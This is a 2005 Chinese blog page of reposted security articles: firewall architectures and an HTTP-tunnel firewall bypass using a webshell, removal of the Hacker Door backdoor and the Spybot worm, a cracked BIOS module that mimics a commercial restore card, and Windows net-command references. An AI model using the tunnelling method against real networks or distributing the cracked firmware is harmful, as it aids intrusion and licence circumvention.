这种方法是在内部网络和外部网络之间建立一个被隔离的子网，用两台分组过滤路由器将这一子网分别与内部网络和外部网络分开。在很多实现中，两个分组过滤路由器放在子网的两端，在子网内构成一个“非军事区”DMZ。有的屏蔽子网中还设有一堡垒主机作为唯一可访问点，支持终端交互或作为应用网关代理。这种配置的危险带仅包括堡垒主机、子网主机及所有连接内网、外网和屏蔽子网的路由器。

如果攻击者试图完全破坏防火墙，他必须重新配置连接三个网的路由器，既不切断连接又不要把自己锁在外面，同时又不使自己被发现，这样也还是可能的。但若禁止网络访问路由器或只允许内网中的某些主机访问它，则攻击会变得很困难。在这种情况下，攻击者得先侵入堡垒主机，然后进入内网主机，再返回来破坏屏蔽路由器，整个过程中不能引发警报。

建造防火墙时，一般很少采用单一的技术，通常是多种解决不同问题的技术的组合。这种组合主要取决于网管中心向用户提供什么样的服务，以及网管中心能接受什么等级风险。采用哪种技术主要取决于经费，投资的大小或技术人员的技术、时间等因素。一般有以下几种形式：
1、使用多堡垒主机；
2、合并内部路由器与外部路由器；
3、合并堡垒主机与外部路由器；
4、合并堡垒主机与内部路由器；
5、使用多台内部路由器；
6、使用多台外部路由器；
7、使用多个周边网络；
8、使用双重宿主主机与屏蔽子网。

随着人们对网络安全意识的提高，防火墙的应用越来越广泛。有钱的用高级硬件防火墙，没钱的用免费的软件防火墙。那么，硬件防火墙和软件防火墙相比，有哪些优点呢？
硬件防火墙采用专用的硬件设备，然后集成生产厂商的专用防火墙软件。从功能上看，硬件防火墙内建安全软件，使用专属或强化的操作系统，管理方便，更换容易，软硬件搭配较固定。硬件防火墙效率高，解决了防火墙效率、性能之间的矛盾，可以达到线性。
软件防火墙一般基于某个操作系统平台开发，直接在计算机上进行软件的安装和配置。由于客户平台的多样性，软件防火墙需支持多操作系统，如Unix、Linux、SCO-Unix、Windows等，代码庞大、安装成本高、售后支持成本高、效率低。

1、性能优势。防火墙的性能对防火墙来说是至关重要的。它决定了每秒钟通过防火墙的数据流量。单位是Bps，从几十M到几百M不等，还有千兆防火墙甚至达到几G的防火墙。而软件防火墙则不可能达到如此高的速率。

2、CPU占用率的优势。硬件防火墙的CPU占用率当然是0了，而软件防火墙就不同了，如果处于节约成本的考虑将防火墙软件安装在提供服务的主机上，当数据流量较大时，CPU占用率将是主机的杀手，将拖跨主机。

3、售后支持。硬件防火墙厂家会对防火墙产品有跟踪的服务支持，而软件防火墙的用户能得到这种机会的相对较少，而且厂家也不会在软件防火墙上下太大的功夫和研发经费。



------------------------------------------------------------

（二）防火墙渗透

以上我们简单的介绍了防火墙的原理，分类，优缺点等。下面，我们将对防火墙的渗透技术做一下简单的介绍。

精心配置过的防火墙固然将让绝大多数crackers挡在外围，掌握网络控制的主动权，但是，防火墙并不是万能的，我们也在上一节的内容中简单的讲了防火墙的缺点。没有任何一样网络产品可以说是绝对安全的。绿盟的san的一篇的文章介绍了渗透防火墙的shellcode,有兴趣的朋友可以参考一下：http://www.winnerinfo.net/infoview.asp?Kind=145&ID=529 ，我在这里想再提起“通道技术”。

说到通道技术，我想再提一下“端口复用”，很多朋友以为通道技术就是端口复用技术。那么，错了，端口复用是指一个端口上建立了多个连接，而不是在一个端口上面开放了多个服务而互不干扰。假如你想在已经开放了WWW服务的主机上，在80端口再添加一项服务，只有2种可能：1.添加服务失败 2.WWW服务出错。那么什么是通道呢？这里所谓的通道，是指一种绕过防火墙端口屏蔽的通讯方式。防火墙两端的数据包封装在防火墙所允许通过的数据包类型或是端口上，然后穿过防火墙与处在防火墙后面的主机通讯，当封装的数据包到达目的地时，再将数据包还原，并将还原后的数据包交送到相应的服务上，是在一个端口上面开放了多个服务而互不干扰的。

为了通信，不论是什么防火墙，都不可能把所有的服务，所有的端口都封闭。（如果有那样的防火墙，还不如拔网线来的直接，呵呵）大多数的防火墙或多或少都要开放一个端口或服务（比如HTTP），只要开放了端口和服务，就给了我们渗透的可能。HTTP是一种比较简单而常用的互交式协议，你给服务器发送一个请求，服务器就返回给你一个回应。几乎所有的主机都被允许发送HTTP请求。网络上HTTP协议使用的是如此广泛，这也决定了我们可以通过使用通道技术而轻松的通过防火墙或其他类似设备而将我们需要的数据发送至目标。一个很典型的例子就是http-tunnel.

在http-tunnel的官方网站http://www.http-tunnel.com上有这么一句话：“http-tunnel在HTTP请求中建立了一个双向的虚拟数据连接。HTTP请求可以经过代理而被发送，这就可以被那些处在限制了端口的防火墙背后的用户使用。如果通过HTTP代理的WWW浏览是被允许的，那么http-tunnel也就可以成立，也就是说，可以在防火墙外telnet或者PPP到防火墙的内部。”这样看来，攻击者可以使用这种技术来实现远程控制。我们来看看http-tunnel的设计思路：

A主机在防火墙的外面，没有做任何限制。B主机在防火墙内部，受到防火墙保护，防火墙配置的访问控制原则是只允许80端口的数据进出，但主机开放了telnet服务。现在假设需要从A系统Telnet到B系统上去，怎么办？使用正常的telnet肯定是不可能了，因为telnet使用的23端口被防火墙屏蔽，防火墙收到这个telnet的包后，发现不符合只允许80端口的数据通过的过滤原则，就丢弃了。但我们知道可用的有80端口，那么这个时候使用Httptunnel通道，就是一个好的办法，思路如下：

在A机器上运行tunnel的客户端，让它侦听本机的一个不被使用的任意指定端口（最好是1024以上65535以下），如，8888。同时将来自8888端口上的数据指引到B机的80端口上，因为是80端口，防火墙是允许通过的。然后在B机上起一个服务端，（在只有80端口对外开放的情况下，只能先得到一个WEBSHELL，想办法提升自己的权限，并运行服务端）同样挂接在80端口上，同时指引80端口的来自客户端的转发到本机的telnet服务端口23，这样就OK了。现在在A机上telnet本机端口8888，根据刚才的设置数据包会被转发到目标端口为80的B机，因为防火墙允许通过80端口的数据，因此数据包畅通的穿过防火墙，到达B机。此时B机在80端口侦听的进程收到来自A的数据包，会将数据包还原，再交还给telnet进程。当数据包需要由B到A返回时，将由80端口再回送，同样可以顺利的通过防火墙。

上述功能似乎用端口映射也能做的到，把A主机上的23端口重定向到80端口，再把B主机上的80端口重定向到23端口就行了。但如果B主机已经开启了WWW服务了呢？要使用上述功能，使用端口映射必须牺牲B主机的80端口，这是得不偿失的。试想在一次渗透防火墙的对某台主机的攻击中，把别人本来已经开启的WWW服务DOWN了，你还能在这台主机上呆多久？但是，使用http-tunnel就可以完美实现，即使B主机已经开放80，提供WWW，我们也照样可以发送telnet到其80端口上，享受到“正版”的telnet服务。

对于通道技术，我们的解决方案是采用应用层的数据包检测技术，因为在正常的HTTP请求中，GET、POST等行为是必不可少的，如果来自一个连接的HTTP请求中，总是没有GET、POST，那么这个连接肯定有问题。从而终止此连接。现在已经有公司的IDS产品能够查出隐藏在80中的tunnel,但是这些IDS产品的费用恐怕也不是中小型企业能承受的了的。

对于防火墙的渗透，还有一些方法，比如找防火墙本身的设计缺陷等等，但那些难度太大。恐怕不是我们应该考虑的了。


--------------------------------------------------------

总结：

我们又把防火墙和防火墙的渗透深入浅出的复习了一遍。现在我们应该更清楚的知道，防火墙不是万能的，即使是经过精心配置的防火墙也抵挡不住隐藏在看似正常数据下的通道程序。那么，对于一个网络来说，我们应该怎么做才能够保证它的最大安全呢？

1.根据需要合适的配置防火墙，尽量少开端口。

2.采用过滤严格的WEB程序。

3.采用加密的HTTP协议(HTTPS)。

4.如果条件允许，购买一台功能较强大的NIDS。

5.管理好你的内网用户，防止攻击者和内网用户直接连接绕过防火墙。

6.经常升级你的firewall产品。

lingsui521 发表于:2005.03.01 22:52 ::分类: ( 实用技术 ) ::阅读:(3063次) :: 评论 (0)
===========================================================
从解决黑客之门卸载后遗症学习故障恢复控制台的使用
===========================================================
_content>作者：intruder
来源：邪恶八进制 中国

  这是菜鸟文章，高手请跳过 ：）
  当Windows 2000/XP/2003出现了启动故障，而且在安全模式或其他模式下都启动无效时，很多朋友首先想到的就是重装系统。现在看来其实不必。这时我们首先应该考虑使用Windows的“故障恢复控制台”来挽救系统 ，它的功能还是强大的，可以执行基本的DOS命令和重新分配盘符、格式化磁盘、修复系统分区错误等等功能。
  看了2005年《黑客防线》第一期的攻防点滴中看到一篇关于黑客之门卸载的小小文章，感觉作者的观点还有待商榷。中了黑客之门也不用格掉硬盘吧，要取点数据还要把硬盘摘下来，这样可纯粹是误导啊，可要害死多少菜鸟啊。
  黑客之门只有一个dll文件，通过感染系统文件启动自身。文中说的进不去系统的情况应该是杀毒软件删掉了hkdoordll.dll文件，而hkdoordll.dll安装的时候又感染services.exe文件或者别的关键进程启动，没有了hkdoordll.dll关键进程也启动不起来了，启动时就会显示缺少hkdoordll.dll文件了（这个文件名也可以被改的），而错误的标题栏就是被感染的系统文件。
  其实现在我们只要想办法进去系统，替换掉被感染的文件就OK了。方法很多，一个是把硬盘摘下来以从盘的的方式挂到另一台电脑上，用正常文件替换就可以了。可是这样是不是太麻烦点了，还要开机箱，还要另一台电脑。我们可以用DOS启动盘或NTFSDOS启动系统替换文件。可现在很多电脑压根就没有软驱啊，像俺现在用的笔记本，这样我们可以使用系统自带的故障恢复控制台来解决问题。     故障恢复控制台是Windows 2000/XP/2003中专用于修复系统的工具，它可以启用和禁用服务、格式化驱动器、在本地驱动器上读写数据（包括被格式化为 NTFS 文件系统的驱动器），并执行许多其他管理任务，是我们连Windows 2000/XP/2003安全模式都无法进入时修复系统的“法宝”。
  使用命令恢复控制台有两种方式，一是用Windows启动光盘引导，然后启动的时候选择用命令恢复控制台修复；二是在Windows运行的时候安装。具体方法：先将WindowsXP安装启动盘插入光驱，在开始菜单中选择运行（或按“Win键+R”）打开运行对话框，输入命令X1386WINNT32.EXE/CMDCONS（其中X是装载XP的光驱盘符），当系统询问你是否安装命令恢复控制台，选择是，就出现了安装向导，之后选择跳过网络更新，等文件复制完毕，安装成功。重新启动后，在启动列表中可以看到Microsoft Windows Recovery Console这个选项了。
  计算机启动时选择“Microsoft Windows Recovery Console”后，当系统给出提示时，输入管理员（Administrator）密码就可以进入系统，然后我们来提取安装光盘中“健康”的文件来替换被感染的文件，我们直接使用DOS命令Copy X:i386services.ex_ C:windowsservices.exe（这个命令针对的是Windows2003或者XP系统，如果是2000系统需要改成Copy X:i386services.ex_ C:winntservices.exe），系统提示是否覆盖文件，键入y，然后按回车键。好了，重启系统，一切正常了。
  在“故障恢复控制台”里，默认情况下只能访问系统根目录、Windows安装目录、CMDCONS等文件夹，当访问其它文件夹时会收到不客气的消息“访问遭到拒绝”；也不能将硬盘文件复制到软盘。我们可以在“运行”框中输入“gpedit.msc”，确定后在组策略窗口中依次点击“本地计算机策略”→“计算机配置”→“Windows设置”→“安全设置”→“本地策略”→“安全选项”，在右边窗口中找到“允许对所有驱动器和文件夹进行软盘复制和访问”并双击，弹出对话框后选择“已启用”，然后确定。再次进入故障恢复控制台，使用
set alljowwildcards = true （允许在一些命令中使用通配符，比如：del *.bak）
set allowallpaths = true （允许使用CD命令访问所有驱动器的所有文件夹）
set allowremovablemedia = true （在复制中如果要覆盖某个文件，不再出现提示）
  现在系统进不去也不怕了，WindowsXP误删除SAM文件后进不去系统、误删除Boot.ini进不去系统等等情况都可以通过故障恢复控制台来解决了。

    我是intruder，这是半原创文章，因为参照了一些网上的资料写的，内容浅薄，但是我认为还是有用的，已经知道的请跳过 ：）本文发表于《黑客防线》2005第三期。

lingsui521 发表于:2005.02.23 02:36 ::分类: ( 实用技术 ) ::阅读:(1096次) :: 评论 (0)
===========================================================
W32.Spybot.Worm查杀记
===========================================================
 

作者：lluiss  http://blog.csdn.net/lluiss/

以前在本科的时候几乎是一个月装一次系统，去年7月装了一个E文版的XP，没想到一用到现在，期间经历了冲击波、震荡波，都安然无恙，简直是奇迹。不过装的东西太多，C盘只剩几十M了，清来清去实在挤不出什么空间来了，只好痛下决心重装系统。有过以前的经验，装系统时把网线拔了，装好Norton再上网，马上更新病毒库、windows打补丁。不过在这稍纵即逝的机会还是被无孔不入的病毒抓住了，今天开机发现系统特别慢，Norton发现了W32.spybot.worm病毒，但杀不掉，只好到晚上搜，下面就是整理的一个解决办法，经过验证，确实可行。

一、W32.Spybot.Worm 病毒的特点

病毒名称：Win32.Spybot
别名：W32.Spybot.Worm (Symantec), W32/Spybot.worm.gen (McAFee),Win32.Spybot.gen, Win32/P2P.SpyBot.Variant.Worm

种类：Win32
类型：蠕虫

疯狂度：低
破坏性：中
普及度：中

特性

　　Win32.Spybot 是一种在线网络聊天系统机器人（BOT）的开放性源代码蠕虫病毒，由于它的开放性和管理方式都来源于这些分布的机器人，这些广泛的机器人变量都有一些很微小的不同，通过远程用户在线聊天系统可以最多控制一台计算机的一些管理功能，同时它也有能力传播到点对点网络（P2P Networks）。

除这些标志的隐蔽功能外，它还具有以下功能：

■ 集合了关于本地计算机的配置信息，包括连接的类型、CPU速度和本地驱动的信息说明；
■ 在本地计算机安装和删除的文件；
■ 在本地计算机执行各色各样的命令；

Win32.Spybot还具有以下的能力（依靠不同的变量）

■ 传播途径：点对点网络、后门木马系统、Kuang木马和Sub Seven木马
■ 键盘操作记录（例如：计算机键盘敲击日志）
■ 毁掉_blank">防火墙和杀毒软件程序避免被察觉
■ 担当一个程序服务协议

Spybot通过安装它自身到注册表，以下就是默认的修改列表：

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun

　　这些机器人（Bots）通常是为了引导拒绝分布服务程序，尽管它也可以使用数字和做出一些不合逻辑的做法，例如：端口扫描、兜售信息（垃圾邮件）、传播一些不可信任的对象。


这个病毒Symantec 定为2 级，没有专杀工具，这段时间不少人感染，而且Symantec 只能发现无法清除。（要在安全模式下才能清除）。但注册表中的垃圾需要手工清除。W32.Spybot.Worm 是透过 KaZaA 文件共享和mIRC 扩散的蠕虫，也会透过受感染计算机的后门而扩散。藉由连上特殊设定的IRC Server，W32.Spybot.Worm 可以执行不同后门功能，加入不同的频道倾听指令。
中文：W32.Spybot.Worm 的变种会使用下面的漏洞进行传播：
•MS03-026
( http://www.microsoft.com/technet/security/bulletin/MS03-026.mspx )
使用 TCP port 135 的 DCOM RPC 弱点。
•MS04-011
(http://www.microsoft.com/technet/security/bulletin/ms04-011.mspx) 微
软本机安全性认证服务远程缓冲区弱点
•MS02-061
( http://www.microsoft.com/technet/security/bulletin/MS02-061.mspx )
使用 UDP port 1434 MS-SQL 2000 或MSDE 2000 验证弱点
•MS03-007
( http://www.microsoft.com/technet/security/bulletin/MS03-007.mspx )
使用 TCP port 80 的 WebDAV 弱点
•MS01-059
( http://www.microsoft.com/technet/security/bulletin/MS01-059.mspx )
UPnP 通知缓冲区弱点
•MS03-049
( http://www.microsoft.com/technet/security/bulletin/MS03-049.mspx )
使用 TCP port 445 的工作站服务缓冲区溢位弱点，
Windows XP 的使用者只要有安装MS03-043
http://www.microsoft.com/technet/security/bulletin/MS03-043.mspx )
就可以避免此弱点，Windows 2000 用户必须安装 MS03-049

类型： 蠕虫
感染长度： 不一定
受影响系统 Windows 2000, Windows 95, Windows 98, Windows Me, Windows NT,
Windows Server 2003, Windows XP
不受影响系统 DOS, Linux, Macintosh, Novell Netware, OS/2, UNIX, Windows
3.x
危害：
1. 将个人数据送到 IRC 频道
2. 在受感染计算机上执行未经认证的命令
3. 会造成本地局域网网络拥塞
二、清除步骤
1、隔离计算机：断开所有计算机的网络连接，逐一清除每一台计算机，必须要
做到网络中的每一台计算机都不放过。
2、清除病毒：
（1）关闭WINXP 和WINME 系统的“系统还原”功能，右键点击“我的电脑”—
—〉属性——〉系统还原——〉关闭所有盘上的系统还原功能
（2）更新Symantec 防毒软件到最新的病毒定义码
（3）重新启动计算机到安全模式
（4）对计算机做手动完全扫描
（5）记录被感染的文件名，并删除受感染的文件（可能防毒软件会删除，也可
以手工删除）关键一步这就是删除感染病毒体的文件
（6）备份注册表：开始——运行——〉输入“regedit”——〉注册表——〉导
出注册表文件
（7）检查注册表中的一下各项
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionR
un
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionR
unOnce
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionR
unServices
HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVer
sionRun
删除刚才记录的文件名键值
（8）针对不同的操作系统，安装我列出的补丁，这一点是这样的虽然上面提
到这么多补丁，但实际上安装的时候按照以下方式安装即可：
Win2k:先安装sp4 然后安装下面的HOTFIX，具体可供过微软站搜索下载
Windows2000-KB824146-x86-CHS.exe
Windows2000-KB835732-x86-CHS.EXE
Windows2000-KB828749-x86-CHS.exe
Windows2000-KB828035-x86-CHS.exe
WinXP：先安装SP1 然后安装下面列出的HOTFIX（SP2 出来了可以直接
安装SP2 省去很多麻烦）:
WindowsXP-KB824146-x86-CHS.exe
WindowsXP-KB828035-x86-CHS.exe
WindowsXP-KB835732-x86-CHS.EXE
（9）将具有系统管理员权限的用户的口令设置为7 位以上的复杂密码
需要注意的是：安装了所提供的补丁仅仅可以防止这个蠕虫病毒的传播，但
系统仍然不安全，非常有必要通过windows update 更新其它关键的更新。


注：主要参考Symantec 对该病毒的分析。
2004 年8 月8 日
Write By kernel
(http://bbs.netbuddy.org)


lingsui521 发表于:2005.02.23 02:33 ::分类: ( 实用技术 ) ::阅读:(5088次) :: 评论 (1)
===========================================================
普通8139网卡变成还原卡和网络克隆三合一卡
===========================================================

普通8139网卡变成还原卡和网络克隆三合一卡
www.hackbase.com 阅读: 时间:2005-2-22 6:03:28 来源:www.hackbase.com

来源：http://blog.yesky.com/Blog/eleccomm2000/

可让你的普通8139网卡变成还原卡+网络克隆三合一卡的大小仅64K的文件，识货的欲下从速.

本华苏网络管理卡破解文件可让你普通的8139网卡变成还原卡+网络克隆三合一卡，而且将比
网络克隆软件更优胜，不需要软盘引导直接网络克隆，克隆时就可指定网络号和IP，让你克隆完成的系统可直接使用。郑重声明：绝非电脑报介绍的那种捷波厂商提供的免费测试的恢复精灵，而是实实在在的市场销售的华苏网络管理卡，本破解文件破解的地方就是不再需要专用的网卡！！！完全不同于网络上流传的一些还原卡破解文件，既然是破解竟然还需要改网卡卡号而以此卖卡号要钱！不识货的只能不客气的说声滚一边去了
具体操作如下：（以AWARD bios 为例子）

1.用 awdflash．exe 备份你主板的BIOS，比如保存的文件名为：bios.bin。

2.用 cbrom bios.bin /d 察看BIOS文件里的剩余容量是否大于64K

3.如果小于64K，则用 cbrom bios.bin /不重要的模块 release 来获得空间

4.如果大于64K，则直接用 cbrom bios.bin /pci hs.bin来合成

5.最后用 awdflash bios.bin /py /sn 将文件刷到主板。
刷写的文件如awdflash和cbrom可到www.biosdiy.net查找下载

注意：
1 必须使用8139网卡
2 刷主板的时候BIOS尽量是AWORD的.AMI的很多不兼容
3.技术有限的别刷BIOS了..出错了来骂我我怕...


简介：产品官方主页：_blank>http://www.hasu.com.cn/

产 品 特 点
 

1、定时维护： 
   可在完全无人值守状态下定时自动维护，提供全天候的机房维护和管理。可 
   以在你的休息时间让计算机自动定时网络拷贝。 
2、8139D10/100M网卡： 
 以性能稳定的8139D 10M/100M网卡为载体,有利于组建稳健的网络，同时该卡具有网卡的一切功能。 
3、网络克隆： 
    只要安装好一台机器,便可通过网络向各组机器克隆, 您的机稫煞质龉ぷ魅鹤椋孔槟苋菽?00台 
 计算机，每组可独立设定其工作模式和参数；并且可以同步传送CMOS数据，多个分区可任意组合发送 
　    维护您的机房就如同维护一台计算机一样方便。 
　 4、远程管理： 
　    远程遥控开机和关机，可以对全部计算机或者单机进行远程控制。 
　 5、自动修改IP： 
　 以发送端机器的设置为基础，自动顺序生成并设置每台接收机的IP地址、计算机名、用户名。用户也 
　    可批量输入每台接收机的IP地址、计算机名、用户名。 
　 6、单机保护： 
　  您可将多个分区任意组合进行保护；即使硬盘参数、类型被修改也能够复原；可以按您的需要设置硬 
　    盘数据复原的方式；保护模式下自动防止病毒感染和破坏；能够防止DM和低级格式化；并且可以支持 
　    COMS保护及还原 
下载：http://www.biosdiy.net/upload/forum/2004411155102.rar

网络拷贝：NETCOPY
COMS里不用改成LAN启动也可以的,网络克隆时将NETCOPY.COM放到C盘就好了.
下载：http://www.biosdiy.net/upload/forum/2004413102411.rar

小提示：不要把 NETCOPY.exe 文件放到C:去,因为HS.BIN已经集成了网络对考功能,但是网卡要是8139的,如果是别的型号都不行,也不用改什么 map 文件,刷进去就能用,好象写是华苏7.0的,破解得很好,网上到处都有下载,不知是哪个高手改的

 


lingsui521 发表于:2005.02.23 02:17 ::分类: ( 实用技术 ) ::阅读:(755次) :: 评论 (0)
===========================================================
网络经典命令行－网络安全工作者必杀技
===========================================================

1.最基本，最常用的，测试物理网络的

　　ping 192.168.0.8 －t ，参数－t是等待用户去中断测试

　　2.查看DNS、IP、Mac等

　　A.Win98：winipcfg

　　B.Win2000以上：Ipconfig/all

　　C.NSLOOKUP：如查看河北的DNS

　　C:>nslookup

　　Default Server: ns.hesjptt.net.cn

　　Address: 202.99.160.68

　　>server 202.99.41.2 则将DNS改为了41.2

　　> pop.pcpop.com

　　Server: ns.hesjptt.net.cn

　　Address: 202.99.160.68

　　Non-authoritative answer:

　　Name: pop.pcpop.com

　　Address: 202.99.160.212

　　 3.网络信使

　　Net send 计算机名/IP　* (广播) 传送内容，注意不能跨网段

　　net stop messenger 停止信使服务，也可以在面板－服务修改

　　net start messenger 开始信使服务

　　 4.探测对方对方计算机名，所在的组、域及当前用户名 （追捕的工作原理）

　　ping －a IP －t ，只显示NetBios名

　　nbtstat -a 192.168.10.146 比较全的

　　 5.netstat -a 显示出你的计算机当前所开放的所有端口

　　netstat -s -e 比较详细的显示你的网络资料，包括TCP、UDP、ICMP 和 IP的统计等

　　 6.探测arp绑定（动态和静态）列表，显示所有连接了我的计算机，显示对方IP和MAC地址

　　arp -a

7.在代理服务器端

　　捆绑IP和MAC地址，解决局域网内盗用IP！：

　　ARP －s 192.168.10.59 00 －50－ff－6c－08－75

　　解除网卡的IP与MAC地址的绑定：

　　arp -d 网卡IP

　　 8.在网络邻居上隐藏你的计算机

　　net config server /hidden:yes

　　net config server /hidden:no 则为开启

　　 9.几个net命令

　　A.显示当前工作组服务器列表 net view，当不带选项使用本命令时，它就会显示当前域或网络上的计算机上的列表。

　　比如：查看这个IP上的共享资源，就可以

　　C:>net view 192.168.10.8

　　在 192.168.10.8 的共享资源

　　资源共享名 类型 用途 注释

　　--------------------------------------

　　网站服务 Disk

　　命令成功完成。

　　B.查看计算机上的用户帐号列表 net user

　　C.查看网络链接 net use

　　例如：net use z: 192.168.10.8movie 将这个IP的movie共享目录映射为本地的Z盘

　　D.记录链接 net session

　　例如: C:>net session

　　计算机 用户名 客户类型 打开空闲时间

　　-------------------------------------------------------------------------------

　　192.168.10.110 ROME Windows 2000 2195 0 00:03:12

　　192.168.10.51 ROME Windows 2000 2195 0 00:00:39

　　命令成功完成。

10.路由跟踪命令

　　A.tracert pop.pcpop.com

　　B.pathping pop.pcpop.com 除了显示路由外，还提供325S的分析，计算丢失包的％

　　 11.关于共享安全的几个命令

　　A.查看你机器的共享资源 net share

　　B.手工删除共享（可以编个bat文件，开机自运行，把共享都删了！）

　　net share c$ /d

　　net share d$ /d

　　net share ipc$ /d

　　net share admin$ /d

　　注意$后有空格。

　　C.增加一个共享：

　　c:net share mymovie=e:downloadsmovie /users:1

　　mymovie 共享成功。

　　同时限制链接用户数为1人。

12.在DOS行下设置静态IP

　　A.设置静态IP

　　CMD

　　netsh

　　netsh>int

　　interface>ip

　　interface ip>set add "本地链接" static IP地址 mask gateway

　　B.查看IP设置

　　interface ip>show address

Arp

　　显示和修改“地址解析协议 (ARP)”缓存中的项目。ARP 缓存中包含一个或多个表，它们用于存储 IP 地址及其经过解析的以太网或令牌环物理地址。计算机上安装的每一个以太网或令牌环网络适配器都有自己单独的表。如果在没有参数的情况下使用，则 arp 命令将显示帮助信息。

　　语法

　　arp [-a [InetAddr] [-N IfaceAddr]] [-g [InetAddr] [-N IfaceAddr]] [-d InetAddr [IfaceAddr]] [-s InetAddr EtherAddr [IfaceAddr]]

　　参数

　　-a [InetAddr] [-N IfaceAddr]

　　显示所有接口的当前 ARP 缓存表。要显示指定 IP 地址的 ARP 缓存项，请使用带有 InetAddr 参数的 arp -a，此处的 InetAddr 代表指定的 IP 地址。要显示指定接口的 ARP 缓存表，请使用 -N IfaceAddr 参数，此处的 IfaceAddr 代表分配给指定接口的 IP 地址。-N 参数区分大小写。

　　-g [InetAddr] [-N IfaceAddr]

　　与 -a 相同。

　　-d InetAddr [IfaceAddr]

　　删除指定的 IP 地址项，此处的 InetAddr 代表 IP 地址。对于指定的接口，要删除表中的某项，请使用 IfaceAddr 参数，此处的 IfaceAddr 代表分配给该接口的 IP 地址。要删除所有项，请使用星号 (*) 通配符代替 InetAddr。

　　-s InetAddr EtherAddr [IfaceAddr]

　　向 ARP 缓存添加可将 IP 地址 InetAddr 解析成物理地址 EtherAddr 的静态项。要向指定接口的表添加静态 ARP 缓存项，请使用 IfaceAddr 参数，此处的 IfaceAddr 代表分配给该接口的 IP 地址。

　　 在命令提示符显示帮助。

　　注释

　　InetAddr 和 IfaceAddr 的 IP 地址用带圆点的十进制记数法表示。

　　物理地址 EtherAddr 由六个字节组成，这些字节用十六进制记数法表示并且用连字符隔开（比如，00-AA-00-4F-2 A-9C）。

　　通过 -s 参数添加的项属于静态项，它们不会 ARP 缓存中超时。如果终止 TCP/IP 协议后再启动，这些项会被删除。要创建永久的静态 ARP 缓存项，请在批处理文件中使用适当的 arp 命令并通过“计划任务程序”在启动时运行该批处理文件。

　　只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时，该命令才可用。

　　范例

　　要显示所有接口的 ARP 缓存表，可键入：

　　arp -a

　　对于指派的 IP 地址为 10.0.0.99 的接口，要显示其 ARP 缓存表，可键入：

　　arp -a -N 10.0.0.99

　　要添加将 IP 地址 10.0.0.80 解析成物理地址 00-AA-00-4F-2 A-9C 的静态 ARP 缓存项，可键入：

　　arp -s 10.0.0.80 00-AA-00-4F-2 A-9C

At

　　计划在指定时间和日期在计算机上运行命令和程序。at 命令只能在“计划”服务运行时使用。如果在没有参数的情况下使用，则 at 列出已计划的命令。

　　语法

　　at [ComputerName] [{[ID] [/delete]　/delete [/yes]}]

　　at [[ComputerName] hours:minutes [/interactive] [{/every:date[,...]　/next:date[,...]}] command]

　　参数

　　 computername

　　指定远程计算机。如果省略该参数，则 at 计划本地计算机上的命令和程序。

　　ID

　　指定指派给已计划命令的识别码。

　　/delete

　　取消已计划的命令。如果省略了 ID，则计算机中所有已计划的命令将被取消。

　　/yes

　　删除已计划的事件时，对来自系统的所有询问都回答“是”。

　　hours:minutes

　　指定命令运行的时间。该时间用 24 小时制（即从 00:00 [午夜] 到 23:59）的 小时: 分钟格式表示。

　　/interactive

　　对于在运行 command 时登录的用户,允许 command 与该用户的桌面进行交互。

　　/every:

　　在每个星期或月的指定日期（例如，每个星期四，或每月的第三天）运行 command 命令。

　　date

　　指定运行命令的日期。可以指定一周的某日或多日（即，键入 M、T、W、Th、F、S、Su）或一个月中的某日或多日（即，键入从 1 到31 之间的数字）。用逗号分隔多个日期项。如果省略了 date，则 at 使用该月的当前日。

　　/next:

　　在下一个指定日期（比如，下一个星期四）到来时运行 command。

　　command

　　指定要运行的 Windows 命令、程序（.exe 或 .com 文件）或批处理程序（.bat 或 .cmd 文件）。当命令需要路径作为参数时，请使用绝对路径，也就是从驱动器号开始的整个路径。如果命令在远程计算机上，请指定服务器和共享名的通用命名协定 (UNC) 符号，而不是远程驱动器号。

　　/?

　　在命令提示符显示帮助。

　　注释

　　Schtasks 是功能更为强大的超集命令行计划工具，它含有 at 命令行工具中的所有功能。对于所有的命令行计划任务，都可以使用 schtasks 来替代 at。有关 schtasks 的详细信息，请参阅“相关主题”。

　　使用 at

　　使用 at 命令时，要求您必须是本地 Administrators 组的成员。


lingsui521 发表于:2005.02.23 00:59 ::分类: ( 实用技术 ) ::阅读:(536次) :: 评论 (0)
===========================================================
系统管理员快速入门
===========================================================
计算机网络正*益延伸到世界的每一个角落，也许就在明天，新的网络建成，而匮乏的人力使得你可能就成为系统管理员。面对多样而又庞杂的设备，用户的诸多要求又纷至沓来，是否使你眼花缭乱之外又一脑浆糊，多么渴望快速地熟悉整个系统，使尴尬成为过去。本文并不能提供一劳永逸的窍门，只不过是面对新手，就个人经验，讲述一些系统管理必备的知识，以提供一快速入门的办法。

一般说来，网络系统划为五个部分，即：主机系统、交换设备、路由设备、布线系统以及其它辅助系统，如ups、稳压电源之类。幸运的是，一般系统集成商在完成系统集成后，诸如布线系统、辅助系统都已一次性调试成功。交换设备和路由设备也已大体就绪，至多需要你做一些小小改动。作为系统管理员的你，只需了解这些设备的状态灯的含义，判断是否发生硬件故障，一般小的故障，关掉设备重启后，大多会自动排除。真正的问题，大都需要厂商协助解决，也就是说，快速入门的关键只需要掌握占整体五分之一的主机系统，即可从容应对。当然，交换与路由设备上也许你会做一些设置改变，但那是你成为高级管理员之后的事了，这里就暂且不提，以下就是快速入门的重点。

用户管理
